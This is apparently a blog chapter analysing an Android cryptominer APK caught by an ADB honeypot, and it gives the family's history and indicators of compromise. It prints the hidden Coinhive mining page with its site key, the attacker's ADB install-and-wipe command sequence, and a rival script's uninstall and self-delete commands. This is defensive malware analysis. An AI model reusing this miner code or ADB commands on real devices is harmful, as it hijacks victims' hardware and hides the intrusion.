Trinity · Chapter 10
A miner that got a bit lost
Another APK came in through the debug cable, but this one weighs fifteen times less than the last and doesn't carry a single line of native code. I opened it expecting something mediocre. What I found was a 2018 fossil still infecting phones to mine for a company that shut down seven years ago — and which today, without knowing it, warns its own victims.
The honeypot has forty doors open, and 5555 —Android's debugging port— is one of the busiest. It already brought us Sysorbit in Chapters 7 and 8. This time it brought something else, and the first clue that it was different came from the scales.
Sysorbit's APK weighed 707 KB, with four native libraries inside. This one weighs 46 KB. Fifteen times less. And when I opened it, the entire Java code came to five kilobytes and there wasn't a single byte of native code.
I thought I'd drawn a poor devil. And in a way I had — but the story behind it is the best the honeypot has given me yet.
01The catch
Fifteen seconds start to finish. Not one wasted word:
- 0spm path com.ufo.miner — asks whether it's already installed. If it were, it would leave without bothering.
- 8sInstalls /data/local/tmp/ufo.apk. That's the sample I captured.
- 9sDeletes the file. The footprint lasts one second.
- 10sLaunches the app: am start -n com.ufo.miner/com.example.test.MainActivity
- 13sps | grep trinity — looks for something called trinity. That name turned out to be the key to the whole story.
- 15srm -rf /data/local/tmp/* and goodbye.
02Five kilobytes and a web page
There's almost nothing inside the APK: an icon, a couple of resource files, five kilobytes of code and —this did catch my eye— a loose file called run.html. A web page, inside an application.
The Java code, in its entirety, does this:
WebView webView = ...
webView.getSettings().setJavaScriptEnabled(true);
webView.loadUrl("file:///android_asset/run.html");That is: it opens an invisible browser and loads a page it carries inside. Nothing else. No connections, no commands, no files. And it asks for only two permissions: internet, and starting up when you switch the phone on.
All the malice, then, has to be in that page. And it's eight lines:
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('fwW95bBFO91OKUsz1VhlMEQwxmDBz7XE',{
threads: 4,
throttle: 0.8
});
miner.start();
</script>Coinhive. A service that let any website mine cryptocurrency in its visitors' browsers. That thirty-two-character code is the account the money went to.
And then I looked at the date on the APK's files: 1 July 2018.
03The problem with that date
Coinhive was, in its day, a phenomenon. At its peak some 32,000 websites ran it and it turned over between 150,000 and 250,000 dollars a month in Monero —depending on the estimate— of which it kept 30%. It spent fifteen consecutive months as the number one threat in Check Point's index. It turned up on the Los Angeles Times, on government websites, in YouTube ads, on the wifi of a coffee shop in Buenos Aires and on hundreds of thousands of MikroTik routers, starting with Brazil.
And it shut down on 8 March 2019. Monero changed its algorithm, the business stopped adding up, and they closed the doors.
This is where I thought the story ended: a fossil, a joke, a harmless thing going round out of inertia. I went to check the obvious —that the domain was dead— and got the surprise of the day.
04The domain isn't dead
coinhive.com still answers. And not only that: the exact file this thing downloads, /lib/coinhive.min.js, still exists and returns real JavaScript, 1.7 KB of it.
But it isn't the old one. This is what's at that address today:
// Credit to https://w3bits.com/javascript-modal/
window.addEventListener('load', function() {
let url = 'https://www.troyhunt.com/i-now-own-the-coinhive-domain…';
createModal('This website attempted to run a cryptominer in your browser. <a href="' + url + '">Click here for more information</a>.');
setTimeout(function(){ location.href = url; }, 5000);
});In May 2020, somebody gave the domain to Troy Hunt —the man behind Have I Been Pwned— for free, on the single condition that he do something useful with it. And what he did was this: instead of mining, the script puts a warning right in the victim's face telling them somebody just tried to mine in their browser, and five seconds later takes them to a page explaining it.
When he wrote it up, in the spring of 2021, the domain was getting three million requests a day from people still infected without knowing it.
What does happen is the other thing: the malware's browser loads the script, and the script does its job. And its job, now, is to draw the warning sign on the screen of that "Test" app nobody opens — whether the victim ever sees it or not.
Seven years have passed and the thing hasn't noticed a thing. It keeps knocking on its old boss's door, and the person who answers now is somebody whose job is to rat it out.
05The specimen
The APK the honeypot captured.
- Type
- signed APK · 46,525 B
- Package
- com.ufo.miner (activity: com.example.test.MainActivity)
- Code
- classes.dex of 5,016 B · no native libraries
- Built
- 1 July 2018
- Function
- WebView + Coinhive (defunct since 2019)
- SHA-256
- 0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257
And the certificate it's signed with deserves a chapter of its own:
Owner : CN=Android, OU=Android, O=Android
L=Mountain View, ST=California, C=US
EMAILADDRESS=android@android.com
Valid from: 29 February 2008
Algorithm : SHA1withRSA (weak)
SHA-256 : A4:0D:A8:0A:59:D1:70:CA:A9:50:CF:15:C1:8C:45:4D:
47:A3:9B:26:98:9D:8B:64:0E:CD:74:5B:A7:1B:F5:DCCompare that with Sysorbit, which invented an entire Spanish company —with its department, its city and its province— to sign its APK. This one used the key that came pre-installed.
06What it actually is
That ps | grep trinity from the capture was the thread. The family is called Trinity, and what landed in my honeypot is only one piece of the kit.
The APK doesn't spread; it's just the miner. The thing that travels and infects is a separate binary called trinity, and it has a feature that makes it hard to kill: it has no command server. None. It makes up internet addresses at random, tries port 5555 blind, and when it finds an open device it pushes the whole kit onto it.
And it's still active: reputation services flagged it as malicious the same day it visited me.
One note of honesty: the trinity binary never appeared in my capture, only the APK and the check for whether it was already there. What I'm telling you about the part that spreads comes from published analyses, not from my honeypot.
07Eight years going round
A 2018 specimen reaching 2026 could be a fluke — one stray copy on some forgotten device. It isn't, and there are numbers.
An ADB honeypot in Sydney publishes what it catches every month. My same file, with the same exact hash, appears in its reports every month from December 2025 to May 2026. And alongside it, the same companion binaries documented by a 2020 analysis: unchanged in six years. Nobody maintains them. Nobody improves them. They copy themselves, as they are, from device to device.
In May 2026 that honeypot counted 630 distinct addresses handing things out over 5555. The traffic comes mostly from China and South Korea.
08Even the fossil had enemies
Digging out that 2019 article —it's offline, it had to be pulled from the internet archive— turned up another piece: a rival script that went round uninstalling this thing. It downloaded its own payload, and finished like this:
# ...after installing its own:
pm uninstall com.ufo.miner
pm uninstall fbot
# and it destroys itself
rm $0Two competitors evicted in one go, and traces wiped on the way out. It's the same pattern we've seen in RedTail and in Sysorbit: these things fight each other more than they fight us. An infected device is a scarce resource and there's a queue.
09Indicators (IOCs)
| Type | Value |
|---|---|
| APK SHA-256 | 0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257 |
| MD5 | 8844985fcd57b0311d1d4cb2ec13a1ef |
| Package | com.ufo.miner · activity com.example.test.MainActivity |
| Receiver | com.example.test.BootBroadcastReceiver (BOOT_COMPLETED) |
| Permissions | INTERNET · RECEIVE_BOOT_COMPLETED (nothing else) |
| Coinhive site key | fwW95bBFO91OKUsz1VhlMEQwxmDBz7XE |
| Certificate fingerprint | SHA-256 A4:0D:A8:0A:59:D1:70:CA… (Android's public test key) |
| Install path | /data/local/tmp/ufo.apk |
| Entry vector | ADB · port 5555 |
| IP that brought it | 112.90.220.245 (Shenzhen, China Unicom) — infected device, not a C2 |
| In the app list | shows up as "Test", with no icon in the launcher |
And the underlying fix is the usual one: port 5555 should never face the internet.
The one thing they didn't touch is com.example.test.MainActivity — the name Android Studio puts there by default and this fellow never changed. Eight years, a complete rotation of indicators, and the slip-up I was laughing at up there is the only one that still works for finding it.
And what stays with me most is the image. A phone somewhere, infected who knows how long ago, opening a window nobody watches and dutifully calling an address to ask for instructions. On the other end there's no boss any more: there's somebody who picked up the keys to the abandoned shop and put up a sign. And the sign, which the thing displays without understanding it, reads: "this website attempted to run a cryptominer in your browser".
After so many chapters cracking encrypted things open with a hammer, it turns out the best ending came from a bug that doesn't know the party's over.
To be continued — the honeypot is still on. When somebody knocks on another door in an interesting way, there'll be an eleventh chapter. 🍯
Comments